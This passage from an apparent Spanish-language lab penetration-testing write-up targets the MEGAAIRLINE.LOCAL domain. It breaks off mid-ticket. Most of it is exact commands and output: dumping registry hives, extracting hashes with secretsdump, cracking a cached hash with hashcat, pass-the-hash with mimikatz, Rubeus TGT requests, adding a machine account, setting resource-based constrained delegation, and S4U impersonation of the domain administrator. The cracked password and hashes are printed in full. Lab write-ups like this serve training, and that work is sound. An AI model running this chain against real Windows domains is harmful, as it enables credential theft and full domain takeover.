Y tenemos las credenciales del usuario administrator, pero seguimos haciendo un backup de la sam
|
1 2 3 4 5 6 |
PS C:\users\elliot> reg save hklm\sam sam The operation completed successfully. PS C:\users\elliot> reg save hklm\system system The operation completed successfully. PS C:\users\elliot> reg save hklm\security security The operation completed successfully. |
Y sacamos credenciales con secretsdump de impacket
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ impacket-secretsdump -sam sam -system system -security security LOCAL Impacket v0.11.0 - Copyright 2023 Fortra [*] Target system bootKey: 0x90f5421891c9e26f038203ffeae531dc [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:78350c7b3c5fe865d954d5b47013e21f::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3131accf305954967753590a4bc57daa::: sshd:1001:aad3b435b51404eeaad3b435b51404ee:1df4fb8a87e9ea258720fe61f5f3867f::: elliot:1003:aad3b435b51404eeaad3b435b51404ee:07c5c02992bded63e4f74126e65e308b::: [*] Dumping cached domain logon information (domain/username:hash) MEGAAIRLINE.LOCAL/Administrator:$DCC2$10240#Administrator#3ea6e70c7142de7e521195f33086a2bf: (2021-06-09 12:56:43) MEGAAIRLINE.LOCAL/elliot:$DCC2$10240#elliot#1985a8159434672943be0d4f94cea4b2: (2020-10-16 15:54:05) MEGAAIRLINE.LOCAL/anna:$DCC2$10240#anna#beff6c5d84183e72d1ef69f18051ed49: (2020-10-14 14:54:00) [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC:plain_password_hex:724d88e88bfb99d9326334a1209545447f90bbfc533df9ed07d37f51c8d9e43d8da9890a24bde3ce3611e166bf75a8394158b472571b2b3e99f8a5d069d7f4c2d13fb67b76fee94773d73b4e8125939646aab047d78af610ea11f7e26eb3c8b482dde102798dd9a69abebc9507e13c61fe3c22cb7df7e4bc8e07228d813895a61ec39356f688ee6fddbdaea4957b6167d85adaf847306dba062d8c15ff504b0e7183beeeae6df2a6b27bf65a3946e982332bddcd81d298e3f178c3aafe3f25cffc58d2842b1a487d7e7fcdce2be74ef59a07bbf8ce61f2b05aadb454b73a7cc0b1fe52b2bafd50ca3f942cef1392433b $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f819a03f9be33637a0f4bf8772a21b63 [*] DPAPI_SYSTEM dpapi_machinekey:0x487772fbffedccd08b08239af25f7c42a0c2ab76 dpapi_userkey:0x36cbede3241336b34893574f96c27a7411f18a6c [*] NL$KM 0000 33 EB 2A 1D A2 AF F4 43 EC AF 9F 47 4D F4 85 79 3.*....C...GM..y 0010 87 A8 4E 71 64 8F D0 0F 94 E3 04 13 05 CD DA 92 ..Nqd........... 0020 9B D1 EB 02 EA 26 6E 4B 0E 77 99 6A 29 73 7C 20 .....&nK.w.j)s| 0030 D1 76 7B B6 3E 7F 42 CF 10 8A AA 01 D8 49 88 3D .v{.>.B......I.= NL$KM:33eb2a1da2aff443ecaf9f474df4857987a84e71648fd00f94e3041305cdda929bd1eb02ea266e4b0e77996a29737c20d1767bb63e7f42cf108aaa01d849883d [*] Cleaning up... |
En el último dumpeo vemos varios usuarios del dominio MEGAAIRLINE.LOCAL, así que guardamos los hashes en un fichero y vamos a ver si reutilizan alguna de las passwords descubiertas hasta el momento y descubrimos que el usuario anna utiliza la password del usuario administrator
|
1 2 3 4 |
$ hashcat -m 2100 hashes password --username ... $DCC2$10240#anna#beff6c5d84183e72d1ef69f18051ed49:FWErfsgt4ghd7f6dwx ... |
Probamos a loguearnos con las credenciales pero no podemos hacerlo desde este equipo
|
1 2 3 4 |
PS C:\inetpub\wwwroot> net use \\dc2.megaairline.local\NETLOGON 'FWErfsgt4ghd7f6dwx' /user:megaairline.local\anna System error 2240 has occurred. The user is not allowed to log on from this workstation. |
Probaremos con la técnica de Pass-The-Hash con mimikatz, y aunque parece que funciona, no nos da el resultado esperado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
mimikatz # sekurlsa::pth /user:anna /domain:megaairline.local /ntlm:beff6c5d84183e72d1ef69f18051ed49 /impersonate user : anna domain : megaairline.local program : C:\users\administrator\desktop\mimikatz.exe impers. : yes NTLM : beff6c5d84183e72d1ef69f18051ed49 | PID 3216 | TID 332 | LSA Process was already R/W | LUID 0 ; 35414597 (00000000:021c6245) \_ msv1_0 - data copy @ 0000022A2E6A66A0 : OK ! \_ kerberos - data copy @ 0000022A2F3C1F88 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace @ 0000022A2F453A78 (32) -> null ** Token Impersonation ** |
Así que vamos a tratar de realizar este ataque utilizando Rubeus en su lugar.
Lanzamos asktgt para tratar de impersonarnos como anna en el DC2
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
PS C:\Users\Administrator\documents> .\Rubeus.exe asktgt /domain:megaairline.local /dc:dc2 /user:anna /password:FWErfsgt4ghd7f6dwx /createnetonly:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /show ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: Ask TGT [*] Showing process : True [*] Username : I9K24L5K [*] Domain : 80ACY1U6 [*] Password : ZSKPPLRG [+] Process : 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 1356 [+] LUID : 0x12a97f3 [*] Using rc4_hmac hash: 78350C7B3C5FE865D954D5B47013E21F [*] Building AS-REQ (w/ preauth) for: 'megaairline.local\anna' [*] Target LUID : 19568627 [*] Using domain controller: fe80::a506:e90d:2d4f:37d5%14:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIFIDCCBRygAwIBBaEDAgEWooIEKjCCBCZhggQiMIIEHqADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FM oiYwJKADAgECoR0wGxsGa3JidGd0GxFtZWdhYWlybGluZS5sb2NhbKOCA9gwggPUoAMCARKhAwIBAqKC A8YEggPCKEoHTboR8gljzRadRe89mLPa2XpBimlPtuRM66QTq5vym85dh8oBdV4yfA+drH+KxPs1VOzn BWYDHQWVD7B/nRk42ZtQeeAArwVjG907VxNhtUG1nOz6h8ERd9go9xUo0q8YWtd3bsz3kSmdXkjBTlPY RNTiqtwX1uSk+EJ75hOpgJqM/zEkBJ94c2JMlYYwNZ2DazEGCpTWcTeqtId5jrYO+PiHcYYAt/EFC8MY PyKpTt/ho0C8JtpPy2l+gOueVTm+ah+sXrXneGWZGWIvw/3x1GzhYc481lu84r1skOvSa7xpua8OeUxe dSeNm9VFmtFK3/mYfUfOnksAPEN1Lh6J3lalx4qG79TKU7jAuy9NtUPxiaDQ6KV3b8x1fZVaVTlG3CD1 ftdBLIbXt4RmdK3nixcL2Q1BuJ5WnNjdL2z9BDmK8G6qJnnj67BB2a9aJP+X+68Zs3XpwktACNX5zDVL CF0o5sbo/HzeCinB+mpYbxptc2V1Xh+Vw/9kcuEuBbzwGZDSEZ1iRGXhMuQ5wgN+LfBt6vY18bd4KXeW l/A6FhPk07H0TFi0gdZPnJnLFgnMDpwCKYuR/cFmqUl//5sz087C3wmdFMQvlLKsFxD5KO1q8VAWgKEO TK4zProaJ1IuR9s6i/cGHHieKNSM2NfHkaHJUoQBL9PiV2v4+n7BbL7Km2Tr4hVCxq2RPvTTTkOpCb// A+oZKqtX/NKKNRXsWl31oiwP8qaMbz2ZN985zMv8NzBfdmR9vfJXjgIa2I6Of1Z9Ue333KRoh9Ih3Dsy m7ak0mNAEMRGyXBbiZHjPJSztlogNs7VD1hbW4yDRNY5WPVwRya2vz0hrV7BHX2NdOrlLrAiMJbskdo2 ZBdrQcDGAliKqz/Za37U3J6PtBG5wqHEmOjkH6rFAVg3bV1XhhJdPhBL/Z58D0TWUJtps3s2MGh60Qif LceyF4bOrsNM3a8XQzuUU5CCuuSqqbf/NX1arX4cmzCQX9f9DIKTvMMlogDF+g8wWzA2bgXSI3+0Nd0i TA3G6QBVTUEgWFMtRQQNw3u3JpY50RDNlalxQlOwKaxoZwMtpk+5jds1q6jEJiCWfz4FS79ElN2W/1AW nJQyUr34vcOAI1I1IG6FvUsc/p7Y+LknLSKvJHsWZka0fa91WbF5gs6edHePFKNaS9N6EH6QVA+brCJG kaBaF6vQ30rYHzNLYL5wpdUI8llM1dfoYpenXKqQZq3s1tQqNOpFfB1lZWFReu80/i+WeEhqIe9IaaAM SRChsmVyht2jgeEwgd6gAwIBAKKB1gSB032B0DCBzaCByjCBxzCBxKAbMBmgAwIBF6ESBBAgi6QViJAf NVzXd8ctttQhoRMbEU1FR0FBSVJMSU5FLkxPQ0FMohEwD6ADAgEBoQgwBhsEYW5uYaMHAwUAQOEAAKUR GA8yMDIzMTExNzExMzY0MlqmERgPMjAyMzExMTcyMTM2NDJapxEYDzIwMjMxMTI0MTEzNjQyWqgTGxFN RUdBQUlSTElORS5MT0NBTKkmMCSgAwIBAqEdMBsbBmtyYnRndBsRbWVnYWFpcmxpbmUubG9jYWw= [*] Target LUID: 0x12a97f3 [+] Ticket successfully imported! ServiceName : krbtgt/megaairline.local ServiceRealm : MEGAAIRLINE.LOCAL UserName : anna UserRealm : MEGAAIRLINE.LOCAL StartTime : 11/17/2023 3:36:42 AM EndTime : 11/17/2023 1:36:42 PM RenewTill : 11/24/2023 3:36:42 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : IIukFYiQHzVc13fHLbbUIQ== ASREP (key) : 78350C7B3C5FE865D954D5B47013E21F PS C:\Users\Administrator\documents> |
Y conseguimos llevarlo a cabo.
El siguiente paso será crear un usuario nuevo en el DC2, así que importamos powermad y powerview
|
1 2 |
PS C:\Users\Administrator\documents> import-module .\powermad.ps1 PS C:\Users\Administrator\documents> import-module .\powerview.ps1 |
Añadiremos la nueva cuenta
|
1 2 3 4 |
PS C:\Users\Administrator\documents> New-MachineAccount -MachineAccount privesc -Password $(ConvertTo-SecureString 'Password123.' -AsPlainText -Force) -Verbose -Domain megaairline.local -DomainController DC2.megaairline.local VERBOSE: [+] SAMAccountName = privesc$ VERBOSE: [+] Distinguished Name = CN=privesc,CN=Computers,DC=megaairline,DC=local [+] Machine account privesc added |
Setearemos el RBCD para delegar privilegios en la nueva cuenta
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
PS C:\Users\Administrator\documents> Set-DomainRBCD DC2 -DelegateFrom privesc -Domain megaairline.local -Server DC2.megaairline.local -Verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC2.megaairline.local/DC=megaairline,DC=local VERBOSE: [Set-DomainRBCD] Appending DelegateFilter: (|(|(samAccountName=privesc)(name=privesc)(displayname=privesc))) VERBOSE: [Set-DomainRBCD] Set-DomainRBCD filter string: (|(|(|(samAccountName=privesc)(name=privesc)(displayname=privesc)))) VERBOSE: [Set-DomainRBCD] Appending to SDDL string: (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-775547830-308377188-957446042-9101) VERBOSE: [Set-DomainRBCD] Using SDDL string: O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-775547830-308377188-957446042-9101) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC2.megaairline.local/DC=megaairline,DC=local VERBOSE: [Set-DomainRBCD] Set-DomainRBCD filter string: (|(|(|(samAccountName=privesc)(name=privesc)(displayname=privesc)))) VERBOSE: [Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 182 235 57 46 100 118 97 18 154 119 17 57 141 35 0 0' for object 'DC2$' VERBOSE: [Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 182 235 57 46 100 118 97 18 154 119 17 57 141 35 0 0' for object '' WARNING: [Set-DomainRBCD] Error setting/replacing properties for object '' : 1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 182 235 57 46 100 118 97 18 154 119 17 57 141 35 0 0 |
Y solicitamos el ticket para nuestro usuario privesc
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
PS C:\Users\Administrator\documents> .\Rubeus.exe asktgt /domain:megaairline.local /dc:dc2 /user:privesc /password:Password123. /createnetonly:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /show ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: Ask TGT [*] Showing process : True [*] Username : 12RL7SCK [*] Domain : Y50ZTSJU [*] Password : JGYC3I3X [+] Process : 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 5072 [+] LUID : 0x12fa70a [*] Using rc4_hmac hash: FA7665BEFE243A5079D1C602F5524CE0 [*] Building AS-REQ (w/ preauth) for: 'megaairline.local\privesc' [*] Target LUID : 19900170 [*] Using domain controller: fe80::a506:e90d:2d4f:37d5%14:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIFHjCCBRqgAwIBBaEDAgEWooIEJTCCBCFhggQdMIIEGaADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FM oiYwJKADAgECoR0wGxsGa3JidGd0GxFtZWdhYWlybGluZS5sb2NhbKOCA9MwggPPoAMCARKhAwIBAqKC A8EEggO95jClVmkDcj95PK8rI5tKWqtKk+GSgnu+R46F3HInGNJrEYrBEehUAMj1JfOtDdfmlchmWzIe 0GlWG4i67ZYqfY39f/qpiYgJ+0N/cXDT1Yu45UjryWiyg4CbkFEWeQdQ5q8ACuoehfEkwe4xcFFC+zeE q3WHyYObgsF0dM7a0MGQMTZ30c4BF3RQbSwGhU3ZiXBww7M3UDtI4HlevmxInrLBp1bMcujrSlFkke0D BdwvHqHEbAx8cj+ad+HzsBW23k/gQnX5Jyhayys5R8bjj2zU8v5dAJZdC9NE88AH9xxcEitJRLKPVUzl XvhdJL4o45+8FI+m6yOkiqogXuoOQD0tsu6DAhQJCn0m1+/H1wy1TtmjaZvCmE2eIWlCl/Y7ibeFQ2v+ rieDynozttGhBzyQoaKoBO5AbDEZARaPuoqYdsuifgJvLhiw+UnTdJqtFC9TpgnwEimKLmCEy8JlZTpt 7ISiSifwSjKaMntC9LV6sx1/F6w3KilwzzrJqS5nc7nhIvSqPVKa+UYC2GCklkJYjGx/ZicnKpaeeLHS 4oMfEaRVp3L45+1YExTnFbVXKqN+vxJ99gs/48bxlNe4H5RzKV3p4C/2aYUWw6JvCuAY4/FCb5gIyUKP L/GbacL6nh85NqMvKzzKvGniHvUoPtUkCidJjd8ejHaOqhca0iZk4LIYzGgfqHcFv4qcI68Ohk/OAOv3 d4rPnsp4y7SKZ/5RqNvXgxyloDFEIJIGBdGOe2pMGU0N35OxoswfOiCR/VtljUpN8q6+kypyePuugPNd u1l5EkYDjKdUp+Hd09Mov3wX6F3ARmb7id+LGenvPVyNs5tk6+MMYfv8wkEi/se0mwjiTWjUXnAXLILY BWtTfMoLSb7bYzD2nVczcCN86KscMv71CYcZPVwwNEYjtqlvTIkusJ7D7wu3/tHsaIvsyiQNbHK4ye4s dEfNDWV/EAsjNjE9elJIEKY+HMl3nYzZKYdtX6wyLEMm1+7RST9VrgBHxs4UTh5b4SzV/2wkl54aX2Zl eEnprsdFRiFvkooxhFldmDRn6/O705AmoLpFfnmKPRfuzPr0C/yZgl8oa/jOyAZ9JAZoZ1+eyDY/HSo3 8Z1iyqniLbpCnwH3aYz5AI43zdMBHiEv7BAQnNIHJ39FLP9HROrEIY5Rpyzf5FMOhvOMnPwTSdfHjQIF sjDv9YZgvZO8kllUB4osV+WFlZwV4oIb2aWhEK/7ZBf7S8Ud39MSwMswSrPgNnuKhsUIowXGX/KvaYnS aeejo4HkMIHhoAMCAQCigdkEgdZ9gdMwgdCggc0wgcowgcegGzAZoAMCARehEgQQhICxDwODn9noNn93 dpzLDqETGxFNRUdBQUlSTElORS5MT0NBTKIUMBKgAwIBAaELMAkbB3ByaXZlc2OjBwMFAEDhAAClERgP MjAyMzExMTcxMTUzNDlaphEYDzIwMjMxMTE3MjE1MzQ5WqcRGA8yMDIzMTEyNDExNTM0OVqoExsRTUVH QUFJUkxJTkUuTE9DQUypJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEW1lZ2FhaXJsaW5lLmxvY2Fs [*] Target LUID: 0x12fa70a [+] Ticket successfully imported! ServiceName : krbtgt/megaairline.local ServiceRealm : MEGAAIRLINE.LOCAL UserName : privesc UserRealm : MEGAAIRLINE.LOCAL StartTime : 11/17/2023 3:53:49 AM EndTime : 11/17/2023 1:53:49 PM RenewTill : 11/24/2023 3:53:49 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : hICxDwODn9noNn93dpzLDg== ASREP (key) : FA7665BEFE243A5079D1C602F5524CE0 |
Una vez hecho cargamos el ticket para impersonarnos como el usuario administrator
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
PS C:\Users\Administrator\documents> .\Rubeus.exe s4u /domain:megaairline.local /dc:DC2 /user:privesc /rc4:FA7665BEFE243A5079D1C602F5524CE0 /impersonateuser:administrator /msdsspn:CIFS/DC2.megaairline.local /ptt /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: S4U [*] Using rc4_hmac hash: FA7665BEFE243A5079D1C602F5524CE0 [*] Building AS-REQ (w/ preauth) for: 'megaairline.local\privesc' [*] Using domain controller: fe80::a506:e90d:2d4f:37d5%14:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIFHjCCBRqgAwIBBaEDAgEWooIEJTCCBCFhggQdMIIEGaADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FMoiYwJKADAgECoR0wGxsGa3JidGd0GxFtZWdhYWlybGluZS5sb2NhbKOCA9MwggPPoAMCARKhAwIBAqKCA8EEggO9Wq6SwTuk6cpCL9sYuBDhIN/hZhspdgHjR2/eOOoLn9I2adNgkkIdoPF0ASnFSWw/2UsBab+rdeVRsNigHY99evqUEuYgY8vEa6ikDGoOMzSBwAFFx0FQRtWdv/KNe4elun6PVUqLuF1G/yedXQ5IgDVYbgCMvBsbhaLgW2sbBRPIbvXzhLS3epK2jRMYO83msnFL6bheqUkm6Dbg8XtcMeoPfG2/7ynMOjiCZlfDKcm7Q81nGE+Ub4o6FyYBR53Z9iWKcWxYdADm5ljurJuDgLw8PjAMoQUEGI4H5gEgHJx2wvPMNp/1cN2ueIcHba4eGV3+mEBqQhX3fFXmsd4mvJRuE/Qj1EZ4vqMpFpi9ggiFpjetEbAJQm1E1hQKfqvy8JFZjWz6YKSLZEUyyvu7qcLvt31JR8zcjig0ZFlwRZCj7sjbPP7vs7o26XLOjF5C+FOoIAbk7uw9geB7pf/54LcM/iCmzGZUP3TgE9VdmeyBg76wRRh8iZSvbm7j5T4mFWjLjqnXOFTteSnLxxG00BD/jVjCUzeps50PxVzBgF9OI4Oqz/yFMQRP7h+2GwkQHMVR19QOlQm5uTrqoE8FXQgbHjSF859tq6wIgIjkMqbmi4QjTe2BPQ8vDfU2L8wx+GU74pbK0/QhNLSDusdEw6K8mWPG4VJdYBIIZFvwA8+cLuZ2hgJVC0O0+mHIiW5eW8N8Blee0hA7KX+hup+8ypnJu3n3pGmw3LDzK1Pqxghzz9cWD7zGNmWchq/wS7Z7HOzLcWyko6swmQT6IJbOOi1UorkF5LAC7p01p2+pEuLaglmenuGkUPn6VgF1A6R42+UlpBe6kr/170vBOUu5KbdSUiPTsj51KHtp4R9a3excdR6DMB1CHzgtjSJMtyfFmYmGNb5MKc1jVaOf6sKmzyOzTmLvgmXSScrF20ed2p0FZne7cmaBdDIH4nJm4Uut6wz2DxqoPgxJXSiFq7vnuvN8N71Pl+Qx5X4OyRR+tbURXIN7G28pAT82KEI84kXdmn1K3R+IAVty8vUlq/zgJKVNwCXIbfi0NeCgo8NvQJ0FXcQO5Jt56WCRfzUbsDP6Bx0ZtXqI7jKW+wr8j273VTRGVkynRw1HxDHay0nlvSxTSrPaJW2QxRiE7ScLjZnmNca7YIlh8Ma3qaNBXkHGM1aI5NjZxFJmsjkChH9vFmCWpqomt+mYqpYPFic7McnG4zPZiywoaln/+w/lcgfgLFH6FnBnjL9JdNc+B80+vF09tY8BjPo7weqxEKoDo4HkMIHhoAMCAQCigdkEgdZ9gdMwgdCggc0wgcowgcegGzAZoAMCARehEgQQoNE46F84vbSjt+nnGPabi6ETGxFNRUdBQUlSTElORS5MT0NBTKIUMBKgAwIBAaELMAkbB3ByaXZlc2OjBwMFAEDhAAClERgPMjAyMzExMTcxMTU0MDlaphEYDzIwMjMxMTE3MjE1NDA5WqcRGA8yMDIzMTEyNDExNTQwOVqoExsRTUVHQUFJUkxJTkUuTE9DQUypJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEW1lZ2FhaXJsaW5lLmxvY2Fs [*] Action: S4U [*] Building S4U2self request for: 'privesc@MEGAAIRLINE.LOCAL' [*] Using domain controller: DC2 (fe80::a506:e90d:2d4f:37d5%14) [*] Sending S4U2self request to fe80::a506:e90d:2d4f:37d5%14:88 [+] S4U2self success! [*] Got a TGS for 'administrator' to 'privesc@MEGAAIRLINE.LOCAL' [*] base64(ticket.kirbi): doIFdDCCBXCgAwIBBaEDAgEWooIEmjCCBJZhggSSMIIEjqADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FMohQwEqADAgEBoQswCRsHcHJpdmVzY6OCBFowggRWoAMCARehAwIBAaKCBEgEggREBIK983mEDPZUoSF4hJ4SDx42Uq1fIKgdp6zcj1WdshyltNiK8y8/qtv8wa7Xaek1yLmHwY2BGa3hXmvjEM91ticMRRCxklJZj/M/fR9YnbqcTgXTwfMYiiE6js4OCGBxn+ruEClC2nR8Onxxe6lu9Xyn2D1tjn3NVWU7Hi6JJgCzDy49kZWecbLMRJaHCfgU+cVTa4k0ZHZ49bq4ihPIaDiApbVgZZsclCI5hpddUmKh70c4nzRMjSKUXv8Nc+xBgKb7M81OG0kLK/uCoEBVRErj6SaJ1HyE/Uhaqo9FSzB+07nXcOnRGHnvZ2TxaoL/ln1MbLbB95I/nZBhST3iFRcPhOOfwF9b/H6AISM76R4aOXWJwdki0WnfxqyaZYmrtqq48Qd33BJr5RIEBsiiC65lAnGE8K5bD8h6jXmaQu0XFrtd3yfV2S52xSL2fLFP6sc8/i94vm06buia1BzxwRxrmwVUlKx9BZoKMbLrBbjH+CTIrNK5xEZOKqgLV1gY0fpjrNESVSWqXYmFyIfK+NpdLTAT95N+4whib4qqn+eIplhHIzITV7ZZgn5ZgrICR/vDSAh8e5Bwa6vuePfhRRwbm1n9j8oI12rUxB4gHMoUQULPrd916yUCeGrxoxQAIvN0jaBfS0B9paGi2rebI6zwUESnjlrvIhfX6Z7iPdj2IbKF1KHpaxiwfloj/+iicSu3PT9ZuCdnAl4gRAiZaZXuoh9sXD07f0Lac4nOHb1PFvX5DiOvg3fKwP9FyEb/tHN/Cl0QmQIn9zdOcG73CVYugD6ZYWes1Fhk6rDAYioFyfHGa2wBo+E2MgeUqgy6EwICkepW6J2n3QGJyGh84yyQ2TVFu/QydyMppiRr9anhOhVqB2u39qkO1PXWM4mXFya2cvCa8Oc360Qwa2QNkBqzxEp3dBz6L9fgiepLXlPsdafZgeqdkgmIbzwSfh5IeAm0jtWv4wg/X/9VcL9EJ4Ra98I0xXNHWYY4crjNNCsmYfJnLuyoXnesLH4q7p19RB84Bd3FM/mQWiASw+lpe+1UFklONTcbvafCjRKxRy6MnR3JCn1/J2E6NrdHt+LQErrOJWW5r+JO9yJ+kWI9RwGu4Y/uqLwDTZQj8j+zaD0vlLpYWRmqXBzoDFE2+ajgakzWEBLSgy3qwQ7+h/CvxnB8Dx4A2R9wSx/Kir+WrMhUzxsxMbJKSo37Sg58osEipkAT7ote4n04dyOCRZKysnWIwsGLbxFMWI+Jrvl62EYVLXCgb2xOaYDhYQizHqS/5/p6Q5Oy1ulR3jYy8JochJo5YXgRMjyPhY7/iaSsM/8PNwdLKcRQs11zdfqWqgGp5+S/SekDfLOe4L8Tioe/QYE/fGdn2Jj/8VsLt/YoSVM8UeX7BeZnuhuARLx/NuJxQiDm5NParU3iXjgNQOxuhZdSOXJclRGnv3AUoAE++GbSoBqjo4HFMIHCoAMCAQCigboEgbd9gbQwgbGgga4wgaswgaigGzAZoAMCARehEgQQOx1yLbIgfJ3usl6wAvoqpaETGxFNRUdBQUlSTElORS5MT0NBTKIaMBigAwIBCqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEAhAAClERgPMjAyMzExMTcxMTU0MDlaphEYDzIwMjMxMTE3MjE1NDA5WqgTGxFNRUdBQUlSTElORS5MT0NBTKkUMBKgAwIBAaELMAkbB3ByaXZlc2M= [*] Impersonating user 'administrator' to target SPN 'CIFS/DC2.megaairline.local' [*] Building S4U2proxy request for service: 'CIFS/DC2.megaairline.local' [*] Using domain controller: DC2 (fe80::a506:e90d:2d4f:37d5%14) [*] Sending S4U2proxy request to domain controller fe80::a506:e90d:2d4f:37d5%14:88 [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'CIFS/DC2.megaairline.local': doIGWDCCBlSgAwIBBaEDAgEWooIFajCCBWZhggViMIIFXqADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FMoigwJqADAgECoR8wHRsEQ0lGUxsVREMyLm1lZ2FhaXJsaW5lLmxvY2Fso4IFFjCCBRKgAwIBEqEDAgEHooIFBASCBQASW6oN/XLWs3EIpIa6bCqp4ZJHLBJQ3AZJ/hxpLNpU/RQ7f+98bo9EiGmogBqwm0txXoDjLeTfBjLvYYAKAR0a3nJgw2ZKoOZHc23AQncCPYTcvxbvQFjVVsp1z27MwJ7Ze6nxmhtxvNg1oVzNPmVHLP2GFNzvt6nppjuR1OJE8r+CGegW6sOp8jYxzIaLIDl9BIjNHC9dyMhB+G43/rGD2m4ZvBxhJZb9eaIwdJl9RQrnYBDTQ6k/O2qMy+Z3bPCK0Az8cYAHFAPSFKBpiXGJKRJNVe5LIAAln9kHiP3YkNSU07cBk+GZBQcfbBjbYF/pEFIPnpXTxUvyNNAqK5mqxMqpmkEITps2PzS1TDEFLsI3IpyW9MRrivvcxH7NTt6Ezw1JdgPfEfuCzRBd3BHaKxjJ5NasmSvXNykVYTkCxyH4++91maUKvXCafJtssazQeNfDppNcbTxwEKwy58yHWNdXQ+5GKX6+DqXFyXh9C3p/RE+pOjk5cB6d+5WOD8i1xznLd7kP4w9XMu9SN/31NDm8MCzQcSO/k/JNHd/b0fw1YtOpgwhuvCRvyXnBunElToXnxOWKbvuADxyDFfWAvlZ/Lo958ES1zJEF4BG63WXvB/6JPJId3Rr9AUVhg0fSjAqtbrMWFxfpbPSC2QLmI4t5TxXUKZtA42DWvhmAFi1N9CHXWV2OaJPPpVy1bCmpSXLJyA/+VbZafm4kp6tatuOlHuznyM86wjgWJJ/wOkUh7Q4WdPscrC9IzhqyPjnWf2dvPPQqbdYw6lBpzaPhSsy2WTDtRMSfKFFRV9Bw1jMgK8y95RB+MxpGrBG/+x7ms+RP1Ep711kyPgvjeV0WPnowIHx1UeQZtPDYo5usxU/DSKRGEZj9yG0i18WgUk6pPWjGPOMs/945s1GhlLpjPHSADn/XKdPLdlBz9h47yFwsSLg7WFYn4ZlUYQKrFcma54kFrXa4d9KXJzER7h84dP3g4nKdHw90mFT/iKQOUhdaMlx0XViomJui2aRthHS1XH0lgcV70/LgxdeSwY+pVqgtkr/dxi8/QZeNWakphUCdpLilxip8pKh/zWFPm50+UordO4ajs5Ct/qcNo8UDrDxRQOou0FnNhxFfASbbo5aRRwdurIe5sb39Z3gtLYQ8GFXR8H+HL1UolAcLuVNPXlPLNgm/uH3p+m